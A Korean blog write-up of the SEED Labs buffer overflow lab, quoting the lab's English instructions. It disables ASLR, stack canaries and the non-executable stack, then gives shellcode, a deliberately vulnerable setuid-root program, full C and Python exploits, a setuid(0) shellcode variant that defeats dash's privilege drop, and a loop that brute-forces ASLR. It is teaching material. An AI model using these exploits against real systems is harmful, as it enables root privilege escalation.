본문으로 바로가기

SEEDLAB Chap 2: Buffer Overflow Vulnerability Lab

category SEEDLAB 2021. 1. 17. 21:06

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

 

본 블로그에서는 4장 "Buffer Overflow Attack"에 대한 실습 내용을 풀이한다.

 

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

 

Disable the mitigaitons

Task들을 시작하기 전에 최근 Ubuntu에 서 동작하는 몇몇 mitigaiton들을 disable 해야한다.

 

처음에는 모든 mitigaiton들을 disable 하겠지만 Task가 지나감에 따라 점점 enable하고 각각의 mitigation을 파훼한다.

 

* Address Space Layout Randomization(ASLR)

 

$ sudo sysctl -w kernel.randomize_va_space=0		// disable the ASLR
$ sudo sysctl -w kernel.randomize_va_space=1		// enable the ASLR on stack
$ sudo sysctl -w kernel.randomize_va_space=2		// enable the ASLR on stack and heap

 

* The StackGuard Protection Scheme

 

최근 GCC compiler는 stackguard라는 mitigation을 적용하고 있다. stack 영역에 canary를 default로 삽입한다.

 

따라서 stackguard mitigaiton을 disable 하기 위해서 -fno-stack-protector 옵션을 컴파일 할 때 주어야 한다.

 

gcc -fno-stack-protector example.c

 

* Non-Executable Stack

 

초기 우분투는 stack 영역에서의 코드 실행을 허락했지만 최근에는 binary에 직접 명시를 해주어야 한다.

(executable or non-executable)

 

최근 버전의 gcc는 default로 생성된 binary를 non-executable로 설정한다.

 

// For execuatble stack:
$ gcc -z execstack -o test test.c

// For non-executable stack:
$ gcc -z noexecstack -o test test.c

 

* Configuring /bin/sh

 

최근 Ubuntu는(12.04~16.04)  /bin/sh는 /bin/dash에 symbolic link 되어 있다. 

 

/bin/dash는 많은 공격들을 방어하기 위해 여러 방어기법을 적용했고 그 중 Set-UID bit check에 대한 방어기법도 추가했다.

 

간단하게 설명하면, dash 쉘에서 Set-UID process가 실행될 때 euid(effective user ID)와 ruid(real user ID)가 다르면 euid를 ruid로 설정하여 권한을 떨어뜨린다. 

 

이러한 countermeasure가 적용되지 않은 /bin/zsh를 이용한다.

 

// Before we start an attack
$ sudo ln -sf /bin/zsh /bin/sh

// After we finished an attack
$ sudo ln -sf /bin/dash /bin/sh

 

Task 1: Running Shellcode

 

The shellcode that we use is just the assembly version. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. 

 

/* call_shellcode.c: You can get it from the lab’s website */
/* A program that launches a shell using shellcode */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
	"\x31\xc0" 				/* Line 1: xorl %eax,%eax */
	"\x50" 					/* Line 2: pushl %eax */
	"\x68""//sh" 			/* Line 3: pushl $0x68732f2f */
	"\x68""/bin"			/* Line 4: pushl $0x6e69622f */
	"\x89\xe3" 				/* Line 5: movl %esp,%ebx */
	"\x50" 					/* Line 6: pushl %eax */
	"\x53" 					/* Line 7: pushl %ebx */
	"\x89\xe1" 				/* Line 8: movl %esp,%ecx */
	"\x99" 					/* Line 9: cdq */
	"\xb0\x0b" 				/* Line 10: movb $0x0b,%al */
	"\xcd\x80" 				/* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
	char buf[sizeof(code)];
	strcpy(buf, code);
    
	((void(*)( ))buf)( );
    
    return 0;
}

 

Compile the code above using the following gcc command. Run the program and describe your observations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

 

$ gcc -z execstack -o call_shellcode call_shellcode.c

 

You will be provided with the following program, which has a buffer-overflow vulnerability in Line A. Your job is to exploit this vulnerability and gain the root privilege. The vulnerable program is described as follow:

 

/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past.
* Suggested value: between 0 and 400 */

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
	char buffer[BUF_SIZE];
    
	/* The following statement has a buffer overflow problem */
	strcpy(buffer, str);   // Line A
    
	return 1;
}

int main(int argc, char **argv)
{
	char str[517];
	FILE *badfile;
    
	/* Change the size of the dummy array to randomize the parameters
	for this lab. Need to use the array at least once */
	char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
    
	badfile = fopen("badfile", "r");
	fread(str, sizeof(char), 517, badfile);
    
	bof(str);
	printf("Returned Properly\n");
    
	return 1;
}

 

To compile the above vulnerable program, don't forget to trun off some countermeasures(the StackGuard and the non-executable stack protection) as below:

 

$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

 

Task 2: Exploiting the Vulnerability

 

[01/19/21]seed@VM:~/.../BOF$ gdb -q stack
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1
gdb-peda$ r
Starting program: /home/seed/Computer_Security/SEEDLAB/BOF/stack 

Breakpoint 1, 0x080484f1 in bof ()
gdb-peda$ disas bof
Dump of assembler code for function bof:
   0x080484eb <+0>:	push   %ebp
   0x080484ec <+1>:	mov    %esp,%ebp
   0x080484ee <+3>:	sub    $0x28,%esp
=> 0x080484f1 <+6>:	sub    $0x8,%esp
   0x080484f4 <+9>:	pushl  0x8(%ebp)
   0x080484f7 <+12>:	lea    -0x20(%ebp),%eax
   0x080484fa <+15>:	push   %eax
   0x080484fb <+16>:	call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:	add    $0x10,%esp
   0x08048503 <+24>:	mov    $0x1,%eax
   0x08048508 <+29>:	leave  
   0x08048509 <+30>:	ret    
End of assembler dump.

gdb-peda$ p $ebp
$1 = (void *) 0xbfffea88

 

우리가 공격할 위치인 bof's RET의 주소를 알기 위해서 gdb를 이용해 bof's ebp address를 알 수 있다. 

gdb를 기반으로 분석해보았을 때 bof's ebp 주소가 0xbfffea88이라는 것을 알아냈다.

 

또한 "0x080484f7 <+12>: lea    -0x20(%ebp),%eax ", "0x080484fa <+15>: push   %eax"을 통해서 ebp-0x20의 위치에 buffer가 존재하여 해당 주소를 strcpy의 parameter로 전달하는 것을 확인할 수 있다.

 

이를 바탕으로 stack.c를 컴파일 했을 때 생성된 stack 바이너리를 분석하면 아래와 같은 메모리 구조를 얻을 수 있다. 

 

 

우리가 공격할 address의 주소는 0xbfffea8c라는 것을 확인하였다. nop padding은 수행되어져 있기 때문에 bof's RET와 적절한 위치에 shellcode를 삽입하면 된다.

 

C와 python으로 작성된 exploit 소스는 다음과 같다.

 

exploit.c

 

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strncpy(buffer+36, "\x8c\xea\xff\xbf",4);
    strncpy(buffer+200, shellcode, sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

 

exploit.py

 

#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"    # xorl    %eax,%eax
   "\x50"        # pushl   %eax
   "\x68""//sh"  # pushl   $0x68732f2f
   "\x68""/bin"  # pushl   $0x6e69622f
   "\x89\xe3"    # movl    %esp,%ebx
   "\x50"        # pushl   %eax
   "\x53"        # pushl   %ebx
   "\x89\xe1"    # movl    %esp,%ecx
   "\x99"        # cdq
   "\xb0\x0b"    # movb    $0x0b,%al
   "\xcd\x80"    # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xbfffea8c   # replace 0xAABBCCDD with the correct value
offset = 36            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

 

Task 3: Defeating dash's Countermeasure

As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program’s changelog, which compares real and effective user/group IDs.

 

The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the bin/sh symbolic link, so it points back to /bin/dash:

 

$ sudo ln -sh /bin/dash /bin/sh

 

To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line A and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line A and run the program again; please describe your observations.

 

 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;

        // setuid(0);                   // Line A
        execve("/bin/sh", argv, NULL);

        return 0;
}

 

The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program):

 

$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test

 

setuid(0)를 comment하면 dash 내부 coutermeasure로 인해 euid와 ruid가 동일하지 않아 ruid 권한을 갖는 shell을 띄운다. 하지만 setuid(0)를 uncommnet하면 ruid와 euid가 동일해지기 때문에 dash에 적용된 countermeasure를 우회하여 root shell을 띄울 수 있다.

 

From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve().

 

char shellcode[] =
"\x31\xc0" 				/* Line 1: xorl %eax,%eax */
"\x31\xdb"				/* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" 				/* Line 3: movb $0xd5,%al */
"\xcd\x80" 				/* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

 

Task 4: Defeating Address Randomization

 

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2^19 = 524,288 possibilities. This number is not that high and can be exhausted easily with the brute-force  approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu’s address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.

 

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

 

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.

 

#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
        do
        value=$(( $value + 1 ))
        duration=$SECONDS
        min=$(($duration / 60))
        sec=$(($duration % 60))
        echo "$min minutes and $sec seconds elapsed."
        echo "The program has been running $value times so far."
        ./stack
done

 

brute-force 공격의 핵심은 stack에 적용된 ASLR의 entropy가 2^19이기 때문에 평균 262,144번 공격을 시도하면 한 번은 공격에 성공할 것을 기저에 두고 시도하는 공격이다. 충분한 시간을 가지고 공격하면 root shell을 얻을 수 있을것이다.

 

Task 5: Turn on the StackGurad Protection

 

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe. In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.

 

gcc -o stack -z execstack stack.c
./stack
*** stack smashing detected ***: ./stack terminated
Aborted

 

우리는 StackGuard countermeasure 때문에 "*** stack smashing detected ***" 문구와 함께 ./stack program이 종료된 것을 확인할 수 있다. 이것은 우리의 BOF 공격이 canary를 다른 값으로 overwriting 했기 때문에 발생했다.

 

 

Task 6: Turn on the Non-executable Stack Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack protection.

 

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c

 

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for that attack.